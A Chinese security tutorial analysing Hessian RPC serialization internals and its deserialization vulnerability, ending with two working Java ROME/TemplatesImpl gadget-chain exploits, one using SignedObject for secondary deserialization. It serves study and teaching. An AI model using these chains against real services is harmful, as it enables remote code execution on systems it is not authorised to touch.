扫码领资料
获网安教程
本文由掌控安全学院 - yusi 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
Hessian 介绍
hessian 是个轻量级的远程 http 工具,采用binaray Rpc协议,适合发送二进制数据,同时具有防火墙穿透功能,hessian 一般通过 web 应用来提供服务。一句话说就是Hessian是一个基于http的二进制rpc轻量级工具。
什么是 RPC 呢?Remote Procedure Call Protocol
,远程过程调用,RPC它以标准的二进制格式来定义请求的信息(请求对象、方法、参数等),这种方法传输信息的优点之一就是跨语言及操作系统。
在面向对象编程范式下,RMI其实就是RPC的一种具体实现,PRC协议的一次远程通信过程:
远程调用示例
package org.example;
publicinterfaceGreeting{
String sayHello();
}
com.caucho.hessian.server.HessianServlet
类来把服务端注册为 servlet
进行服务交互。需要在 WEB-INF 中创建 lib 目录,然后在 lib 中引入依赖。import com.caucho.hessian.server.HessianServlet;
publicclassServerextendsHessianServletimplementsGreeting{
@Override
publicString sayHello(){
return"gaorenyusi";
}
}
/gaoren
就会触发 servlet 服务<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>hesian</servlet-name>
<servlet-class>Server</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>hesian</servlet-name>
<url-pattern>/gaoren</url-pattern>
</servlet-mapping>
</web-app>
package org.example;
import com.caucho.hessian.client.HessianProxyFactory;
publicclassMain{
publicstaticvoid main(String[] args)throwsException{
String url ="http://localhost:8088/test/gaoren";
HessianProxyFactory hessianProxyFactory =newHessianProxyFactory();
Greeting hello =(Greeting) hessianProxyFactory.create(Greeting.class, url);
System.out.println(hello.sayHello());
}
}
com.caucho.hessian.client.HessianProxyFactory
工厂类创建对接口的代理对象来进行调用,远程调用源码分析
客户端处理
HessianProxyFactory hessianProxyFactory =newHessianProxyFactory();
HessianProxy
对象,该类实现了 InvocationHandler
接口,然后返回一个代理对象。最后调用代理对象的方法,System.out.println(hello.sayHello());
HessianProxy.invoke
方法_mangleMap
sendRequest 方法
sendRequest
方法getConnectionFactory()
方法获得了负责连接的工厂类,然后调用这个类的 open 方法,URLConnection
对象会被封装进HessianURLConnection
对象中作为返回addRequestHeaders
方法,该方法就是添加 header 头,conn.sendRequest();
发起请求,服务端从信息流中获得调用方法,最后进行远程调用并返回调用结果。HessianURLConnection
对象的 input
流,readReply 方法
readReply
方法来获得返回的结果,服务端处理
com.caucho.hessian.server.HessianServlet
类是 javax.servlet.http.HttpServlet
的一个子类,其 service
方法是相关出处理起始位置,跟进 service
方法HessianSkeleton#invoke
方法,writeReply
方法把返回结果进行序列化写入输出流中。封装调用
package org.example;
import java.io.Serializable;
publicclassPersonimplementsSerializable{
privateString name;
privateint age;
privateString telNumber;
publicPerson(){}
publicPerson(String name,int age,String telNumber){
this.name = name;
this.age = age;
this.telNumber = telNumber;
}
publicString getName(){return name;}
publicvoid setName(String name){this.name = name;}
publicint getAge(){return age;}
publicvoid setAge(int age){this.age = age;}
publicString getTelNumber(){return telNumber;}
publicvoid setTelNumber(String telNumber){this.telNumber = telNumber;}
}
package org.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
publicclass hessian_test {
publicstaticvoid main(String[] args)throwsIOException{
Person person =newPerson("gaoren",100,"123");
ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();
HessianOutput hessianOutput =newHessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(person);
System.out.println(newString(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(byteArrayOutputStream.toByteArray());
HessianInput hessianInput =newHessianInput(byteArrayInputStream);
System.out.println(hessianInput.readObject());
}
}
Hessian 反序列化
Hessian1.0 源码分析
序列化
hessianOutput.writeObject
,如果 serializer
对象为 null,会调用 _serializerFactory.getSerializer
来获取 serializer
对象_cachedSerializerMap
是否为 null,如果为 null 就调用 loadSerializer
来进行获取 serializer
对象,然后把 serializer
对象加进 Map 缓存也就是 _cachedSerializerMap
中,loadSerializer
方法,调用 _contextFactory.getSerializer
方法,如果 serializer
还是 null 的话继续调用factory.getCustomSerializer
serializer
对象if(HessianRemoteObject.class.isAssignableFrom(cl)){
returnnewRemoteSerializer();
}
elseif(BurlapRemoteObject.class.isAssignableFrom(cl)){
returnnewRemoteSerializer();
}
elseif(InetAddress.class.isAssignableFrom(cl)){
returnInetAddressSerializer.create();
}
elseif(JavaSerializer.getWriteReplace(cl)!=null){
Serializer baseSerializer = getDefaultSerializer(cl);
returnnewWriteReplaceSerializer(cl, getClassLoader(), baseSerializer);
}
elseif(Map.class.isAssignableFrom(cl)){
if(_mapSerializer ==null)
_mapSerializer =newMapSerializer();
return _mapSerializer;
}
elseif(Collection.class.isAssignableFrom(cl)){
if(_collectionSerializer ==null){
_collectionSerializer =newCollectionSerializer();
}
return _collectionSerializer;
}
elseif(cl.isArray())
returnnewArraySerializer();
elseif(Throwable.class.isAssignableFrom(cl))
returnnewThrowableSerializer(cl, getClassLoader());
elseif(InputStream.class.isAssignableFrom(cl))
returnnewInputStreamSerializer();
elseif(Iterator.class.isAssignableFrom(cl))
returnIteratorSerializer.create();
elseif(Calendar.class.isAssignableFrom(cl))
returnCalendarSerializer.SER;
elseif(Enumeration.class.isAssignableFrom(cl))
returnEnumerationSerializer.create();
elseif(Enum.class.isAssignableFrom(cl))
returnnewEnumSerializer(cl);
elseif(Annotation.class.isAssignableFrom(cl))
returnnewAnnotationSerializer(cl);
return getDefaultSerializer(cl);
}
getDefaultSerializer
方法,Serializable
接口以及 _isAllowNonSerializable
是否为 true,如果不满足条件就会抛出异常。满足后就会 UnsafeSerializer.create
方法,UnsafeSerializer(cl)
,introspect
中就是将对象属性进行一个封装。_serializerMap
中writeObject
方法,调用 serializer.writeObject
进行序列化。writeMapBegin
方法,将 M 设置为标识位,writeObject10
将对象属性写入字节流。反序列化
hessianInput.readObject()
方法,通过不同的标识位来选择getDeserializer
方法来获得 deserializer
对象,getDeserializer
方法getDeserializer
方法中又调用了 loadDeserializer
方法_contextFactory.getDeserializer
和 factory.getCustomDeserializer
两个方法来获得 deserializer
对象,如果还是为 null,那么就会对 cl 对象进行类型判断,返回相应的 deserializer
对象,自定义对象默认调用 getDefaultDeserializer
方法,if(Collection.class.isAssignableFrom(cl))
deserializer =newCollectionDeserializer(cl);
elseif(Map.class.isAssignableFrom(cl)){
deserializer =newMapDeserializer(cl);
}
elseif(Iterator.class.isAssignableFrom(cl)){
deserializer =IteratorDeserializer.create();
}
elseif(Annotation.class.isAssignableFrom(cl)){
deserializer =newAnnotationDeserializer(cl);
}
elseif(cl.isInterface()){
deserializer =newObjectDeserializer(cl);
}
elseif(cl.isArray()){
deserializer =newArrayDeserializer(cl.getComponentType());
}
elseif(Enumeration.class.isAssignableFrom(cl)){
deserializer =EnumerationDeserializer.create();
}
elseif(Enum.class.isAssignableFrom(cl))
deserializer =newEnumDeserializer(cl);
elseif(Class.class.equals(cl))
deserializer =newClassDeserializer(getClassLoader());
else
deserializer = getDefaultDeserializer(cl);
return deserializer;
}
UnsafeDeserializer
对象,readMap
,继续调用 UnsafeDeserializer.readMap
方法allocateInstance
方法,该方法是还原对象_unsafe.putObject
进行赋值,resolve
Hessian2.0源码分析
序列化
HessianOutput/HessianInput
换为 Hessian2Ouput/Hessian2Input
这两个类。hessian2Output.writeObject
方法,然后跟进 getSerializer
方法,其实逻辑差不多,最后还是返回个 UnsafeSerializer
对象,UnsafeSerializer.writeObject
方法,writeObjectBegin
方法,只不过不会继续调用 writeMapBegin
方法了,这里会把 C 作为标识位writeString
方法序列化对象,调用 writeDefinition20
序列化属性。反序列化
hessian2Input.readObject()
,调用 readObjectDefinition
方法,getObjectDeserializer
getDefaultDeserializer
方法,UnsafeDeserializer
还原对象,Hessian 反序列化漏洞
MapDeserializer#readMap
中key
和 value
分别反序列化put进map中,而 HashMap#put
中可以触发到 key#hashcode
,ROME 链
hashcode
进行触发,简单更改 poc 得到,package org.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.lang.reflect.Field;
publicclass rometest {
publicstaticvoid main(String[] args)throwsException{
TemplatesImpl tem =newTemplatesImpl();
byte[] code =Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem,"_bytecodes",newbyte[][]{code});
// setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem,"_name","gaoren");
setValue(tem,"_class",null);
ToStringBean tobean =newToStringBean(Templates.class,newHashMap<>());
ObjectBean bean =newObjectBean(ToStringBean.class,tobean);
HashMap<Object,Object> hashmap =newHashMap<>();
hashmap.put(bean,"gaoren");
Field v = tobean.getClass().getDeclaredField("_obj");
v.setAccessible(true);
v.set(tobean, tem);
deserilize(serilize(hashmap));
}
publicstaticbyte[] serilize(Object o)throwsIOException{
ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();
HessianOutput hessianOutput =newHessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(o);
return byteArrayOutputStream.toByteArray();
}
publicstaticObject deserilize(byte[] bytes)throwsIOException{
ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(bytes);
HessianInput hessianInput =newHessianInput(byteArrayInputStream);
return hessianInput.readObject();
}
publicstaticvoid setValue(Object obj,String fieldName,Object value)throwsException{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
TemplatesImpl
中的 _tfactory
是一个 transient
,无法参与序列化与反序列化,所以为 null,导致最后调用 TransletClassLoader
类实例化时报错,TemplatesImpl
的 readobject 方法中会给 _tfactory
赋值,所以这里可以打二次反序列化,package org.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.lang.reflect.Field;
publicclass rometest {
publicstaticvoid main(String[] args)throwsException{
TemplatesImpl tem =newTemplatesImpl();
byte[] code =Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem,"_bytecodes",newbyte[][]{code});
setValue(tem,"_name","gaoren");
setValue(tem,"_class",null);
ToStringBean tobean =newToStringBean(Templates.class,tem);
ObjectBean bean =newObjectBean(ToStringBean.class,tobean);
HashMap<Object,Object> hashmap1 =newHashMap<>();
hashmap1.put(bean,"gaoren");
KeyPairGenerator kpg =KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject =newSignedObject(hashmap1, kp.getPrivate(),Signature.getInstance("DSA"));
ToStringBean tobean2 =newToStringBean(SignedObject.class,newHashMap<>());
ObjectBean objectBean =newObjectBean(ToStringBean.class,tobean2);
HashMap hashmap2 =newHashMap();
hashmap2.put(objectBean,"gaoren");
Field v = tobean2.getClass().getDeclaredField("_obj");
v.setAccessible(true);
v.set(tobean2, signedObject);
deserilize(serilize(hashmap2));
}
publicstaticbyte[] serilize(Object o)throwsIOException{
ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();
HessianOutput hessianOutput =newHessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(o);
return byteArrayOutputStream.toByteArray();
}
publicstaticObject deserilize(byte[] bytes)throwsIOException{
ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(bytes);
HessianInput hessianInput =newHessianInput(byteArrayInputStream);
return hessianInput.readObject();
}
publicstaticvoid setValue(Object obj,String fieldName,Object value)throwsException{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):JavaSec | Hessian 学习分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论